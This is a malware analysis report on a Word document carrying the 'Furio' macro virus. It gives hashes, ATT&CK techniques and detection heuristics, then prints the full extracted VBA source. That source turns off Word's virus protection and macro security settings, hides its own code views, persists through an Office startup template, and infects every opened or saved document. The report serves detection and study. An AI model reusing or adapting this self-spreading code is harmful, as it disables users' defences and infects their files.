Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3548510792b28b2f…

MALICIOUS

Office (OLE)

49.0 KB Created: 2000-08-22 21:35:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 960c0d6d66bfabd32c0f887a2cdef520 SHA-1: 3e4a8c43070dab4e142a61c3fd207a4438a40267 SHA-256: 3548510792b28b2f3e4efbe60e6faf9ad7ff3faef25e366f0536fee0c53b7502
320 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic and VBA macros, including an AutoClose macro that utilizes the Shell() function. This script attempts to export components and potentially establish persistence by saving a template to the Office startup directory. The ClamAV detection and heuristic firings strongly indicate malicious intent, likely for downloading and executing a secondary payload.

Heuristics 6

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3627 bytes
SHA-256: ca971b65385127d11f6eca915c56a96d984d40eeea274254e2042fe7a160fa10
Detection
ClamAV: Doc.Trojan.Furio-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Furio"
' Furio
Sub AutoClose()
    On Error Resume Next
    ' Furio Virus v1.00 by WalruS 09/00
    Options.VirusProtection = False
    Options.ConfirmConversions = False
    Options.SaveNormalPrompt = False
    Application.DisplayAlerts = wdAlertsNone
    Application.DisplayStatusBar = False
    Application.ScreenUpdating = False
    ActiveDocument.ReadOnlyRecommended = False
    CommandBars("Macro").Controls("Security...").Enabled = False
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
    System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "RegisteredOwner") = "The WalruS"
    ActiveDocument.VBProject.VBComponents("Furio").export ("C:\Windows\Furio.drv")
    ActiveDocument.VBProject.VBComponents("AboutFrm").export ("C:\Windows\AboutFrm.Frm")
    SetAttr ("C:\Windows\Furio.drv"), 6
    Template = Dir("C:\Program Files\Microsoft Office\Office\STARTUP\Furio.dot")
    If Template = "" Then
    NormalTemplate.OpenAsDocument
    ActiveDocument.VBProject.VBComponents.Import ("C:\Windows\Furio.drv")
    ActiveDocument.VBProject.VBComponents.Import ("C:\Windows\AboutFrm.frm")
    ActiveDocument.SaveAs ("C:\Program Files\Microsoft Office\Office\STARTUP\Furio.dot")
    NormalTemplate.Saved = True
    ActiveDocument.Close
    End If
    If Second(Now) = Minute(Now) Then Call Payload
End Sub

Sub SpreadTheWord()
    On Error Resume Next
    If ActiveDocument.VBProject.VBComponents.Item("Furio").CodeModule.Lines(1, 1) <> "' Furio" Then
    ActiveDocument.VBProject.VBComponents.Import ("C:\Windows\Furio.drv")
    ActiveDocument.VBProject.VBComponents.Import ("C:\Windows\AboutFrm.frm")
    ActiveDocument.Save
    End If
End Sub

Sub FileOpen()
    On Error Resume Next
    Dialogs(wdDialogFileOpen).Show
    Call SpreadTheWord
End Sub

Sub FileSave()
    On Error Resume Next
    Call SpreadTheWord
    ActiveDocument.Save
End Sub

Sub FilePrintDefault()
    On Error Resume Next
    Call SpreadTheWord
    If Second(Now) = 59 Then Selection.TypeText " Please Select Help About For More Information!"
    ActiveDocument.PrintOut
End Sub

Sub Payload()
    On Error Resume Next
    Options.BlueScreen = True
    MyApp = Shell("notepad.exe", 1)
    SendKeys "Hello there!~~Im the WalruS. Welcome To My New Creation - Furio~~~///0-0\\\    WalruS 09/00", True
    AppActivate (MyApp)
End Sub

Sub HelpAbout()
    On Error Resume Next
    AboutFrm.Show
End Sub

Sub ToolsOptions()
    On Error Resume Next
    Options.VirusProtection = 1
    Options.SaveNormalPrompt = 1
    Dialogs(wdDialogToolsOptions).Show
    Options.VirusProtection = 0
    Options.SaveNormalPrompt = 0
End Sub

Sub ViewVBCode(): End Sub
Sub ToolsMacro(): End Sub
Sub FileTemplates(): End Sub ' cya

Attribute VB_Name = "AboutFrm"
Attribute VB_Base = "0{38B73F50-80AF-4D60-BE27-A60C96E59588}{D115E1EE-79F2-466E-B788-71F3B9CA15A2}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub Label2_Click()
MsgBox "Goo Goo G'Joob", vbExclamation, "Furio By WalruS"
End Sub